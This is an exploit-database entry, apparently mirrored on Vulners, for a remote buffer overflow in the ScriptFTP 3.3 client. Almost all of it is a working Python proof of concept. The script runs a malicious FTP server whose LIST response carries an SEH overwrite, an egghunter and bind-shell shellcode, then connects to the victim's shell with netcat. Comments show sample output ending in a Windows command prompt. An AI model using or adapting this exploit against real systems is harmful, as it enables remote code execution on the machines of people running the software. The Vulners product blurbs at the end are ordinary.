# Exploit Title: ScriptFTP <=3.3 Remote Buffer Overflow (LIST)
# Date: September 20, 2011
# Author: modpr0be
# Software Link: http://www.scriptftp.com/ScriptFTP_3_3_setup.exe
# Version: 3.3
# Tested on: Windows XP SP3, Windows Server 2003 SP1 (SE) (VMware 3.1.4 build-385536)
# CVE : -
#
# Thanks: offsec, exploit-db, corelanc0d3r, 5M7X, loneferret, mr_me, _sinner
#
# You should create your own script to work with ScriptFTP
# for example; enable passive and get the remote directory
# on your evil ftp server.
#
# my example script:
# OPENHOST("8.8.8.8","ftp","ftp")
# SETPASSIVE(ENABLED)
# GETLIST($list,REMOTE_FILES)
# CLOSEHOST
# save it to a file with .ftp extension (eg: exploit.ftp)
# root@bt :/# python scriptftp-bof-poc.py
# [*] ScriptFTP 3.3 Remote Buffer Overflow POC
# [*] by modpr0be[at]digital-echidna[dot]org.
# [*] thanks a lot to cyb3r.anbu | otoy :)
# =============================================
# [*] Evil FTP Server Ready
# [*] Server initiated.
# [*] Awaiting connection...
# [*] Connection created by 172.16.87.129.
# [*] Establishing session.
# [*] Pwning in progress..
# [*] This may take up 50 seconds or less.
# [!] Hunter is hunting the Egg ;)
# [!] Waiting for a shell..
# [!] 0wn3d..!
#
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Program Files\ScriptFTP>
#
# Yes, this poc is using PASSIVE connection and it will
# take some time to establish. I love the way we wait for a shell ;)
#!/usr/bin/python
import socket
import os
import sys
import time
class ftp_server:
def __init__(self):
self.host = '0.0.0.0'
self.passive_port = 7214
self.log("""
[*] ScriptFTP <=3.3 Remote Buffer Overflow POC
[*] by modpr0be[at]digital-echidna[dot]org
[*] thanks a lot to cyb3r.anbu | otoy :)
=============================================
[*] Evil FTP Server Ready""")
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.bind(('', 21))
self.sock.listen(1)
a = self.passive_port/256
b = self.passive_port%256
self.tuple_port = (a, b)
self.host_join = ','.join(self.host.split('.'))
self.passive = False
self.log("[*] Server initiated.")
def log(self, msg):
print msg
def get(self):
return self.conn.recv(1024).replace('\r', '').replace('\n', '')
def getcwd(self):
return os.getcwd().split(chr(92))[-1]
def put(self, ftr):
x = {
150:" Data connection accepted from %s:%s; transfer starting.\r\n226 Listing completed."%(self.host, self.passive_port),
200:" Type okay.",
220:" %s Server is ready."%self.host,
226:" Listing completed.",
227:" Entering Passive Mode (%s,%s,%s)"%(self.host_join, self.tuple_port[0], self.tuple_port[1]),
230:" User logged in, proceed.",
250:' "/%s" is new cwd.'%self.getcwd(),
257:' "/%s" is cwd.'%self.getcwd(),
331:" User name okay, need password.",
502:" Command not implemented.",
551:" Requested action aborted. Page type unknown."
}[ftr]
s = '%s%s\r\n'%(ftr, x)
self.conn.send(s)
return s
def main(self):
self.log("[*] Awaiting connection...")
self.conn, addr = self.sock.accept ()
self.log("[*] Connection created by %s.\n[*] Establishing session."%addr[0])
self.put(220)
self.log("[*] Pwning in progress..")
self.log("[*] This may take up 50 seconds or less.")
while 1:
try:
data = self.get().upper()
except socket.error:
self.conn.close()
self.sock.shutdown(socket.SHUT_RDWR)
raise socket.error
if data[:4] == 'USER': s = 331
elif data[:4] == 'PASS': s = 230
elif data[:3] == 'PWD': s = 257
elif data[:4] == 'TYPE': s = 200
elif data[:4] == 'PASV':
# create passive port
self.sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock2.bind(('', self.passive_port ))
self.sock2.listen(1)
s = self.put(227)
self.conn2, addr = self.sock2.accept()
self.passive = True
s = 0 # don't routine
elif data[:3] == 'CWD':
try:
os.chdir('..%s'%data.split(' ')[-1])
s = 250
except OSError:
s = 551
elif data[:4] == 'LIST':
s = self.put(150)
s = self.passive_do(1)
s = 0 # don't routine
print "[!] Hunter is hunting the Egg ;)"
time.sleep(50)
print "[!] Waiting for a shell.."
time.sleep(2)
print "[!] 0wn3d..!\n"
os.system("nc %s 4444"%addr[0])
sys.exit()
else:
s = 502
if s:
s = self.put(s)
def passive_do(self, id):
if id == 1:
#bind to port 4444
bind = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQ"
"APA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1A"
"IQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLI"
"XTIKPKPKPC0DIZENQXRS4DK0RNPTKPRLLTKR2LTTKBRO"
"8LOVWPJMVNQKONQGPFLOL1Q3LLBNLMPY18OLMM1I7K2J"
"P0RR74KPRN0DKOROLKQZ0DKOPRX4EY0RTPJKQXP0PTK1"
"8N8DKQHMPKQHSJCOLOYTKODDKM1HVNQKONQY0VLWQHOL"
"MKQWWP8IPCEL4LCSML8OK3MMTRUK2R84KQHMTM1YCQV4"
"KLLPKTKPXMLKQZ3TKM4TKKQ8P4IQ4O4MTQKQK1QPYPZ2"
"1KOK0PXQO1J4KN2ZKU61MQXNSP2KPKPS82W2SP21OQD3"
"80LSGNFLGKOZ56X4PM1KPKPO9XDPTPPQXNI3P2KM0KOX"
"U0PPPPP0POP0POPPPQXJJLOIOYPKOJ5SYGWNQIKPSBHM"
"2KPN1QLU9YVRJLPQFQGC8GRIK07QWKO8U0SR7C87GZIP"
"8KOKOJ50SR3PWRHCDZLOKYQKO8UPW5997QX2URN0MQQK"
"OYEQX33BMQTKPSYJCPWPWR701JV2JMBR926IRKMQVGWO"
"TMTOLKQKQTMPDNDLP7VKPQ40TB0PVPVPVOV26PNQFR6P"
"SR6C8SIXLOOTFKOXUCY9P0N0VPFKONPS8KXSWMMQPKO9"
"E7KL0X5W2QFQXVFTUWMEMKOHUOLKV3LKZU0KKYP2ULEW"
"KQ7MCT2BO2JKPQCKOZ5A")
# 32bit egghunter from corelanc0d3r, thx ;)
egghunter = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYA"
"IAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA5"
"8AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZB"
"ABABABAB30APB944JBQVCQGZKOLO12PRQZKR1"
"HXMNNOLKUQJRTJO6XKPNPKP44TKJZ6O3EJJ6O"
"SEYWKOYWA")
junk = "A" * 1746 #junk
nseh = "\x61\x62" #nseh
seh = "\x45\x5B" #seh ppr somewhere on scriptftp dir
#prepare for align
align = "\x60" #pushad
align += "\x73" #nop/align
align += "\x53" #push ebx
align += "\x73" #nop/align
align += "\x58" #pop eax
align += "\x73" #nop/align
align += "\x05\x02\x11" #add eax,0x11000200
align += "\x73" #nop/align
align += "\x2d\x01\x11" #sub eax,0x11000120
align += "\x73" #nop/align
#walking
walk = "\x50" #push eax
walk += "\x73" #nop/align
walk += "\xc3" #ret
#align again
align2 = "0t0t" + "\x73\x57\x73\x58\x73" #nop/push edi/nop/pop eax/nop
align2 += "\xb9\x1b\xaa" #mov ecx,0xaa001b00
align2 += "\xe8\x73" #add al,ch + nop
align2 += "\x50\x73\xc3" #push eax,nop,ret
sampah1 = "\x44" * 106 + "\x73" #eax+106/align nop
sampah2 = "\x42" * 544 #right after shellcode
crash = junk+nseh+seh+align+walk+sampah1+egghunter+sampah2+align2+bind+sampah1
res = """-rwxr-xr-x 5 ftpuser ftpusers 512 Jul 26 2001 """+crash+""".txt\r\ndrwxr-xr-x 5 ftpuser ftpusers 512 Jul 26 2001 A\r\nrwxr-xr-x 5 ftpuser ftpusers 512 Jul 26 2001 """+ crash +".txt\r\n"
self.conn2.send(res)
# self.conn2.send('\r\n') # send blank
return res
try:
ftp_server().main()
except socket.error:
print "[!] Socket is not ready, shutting down...\n"
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation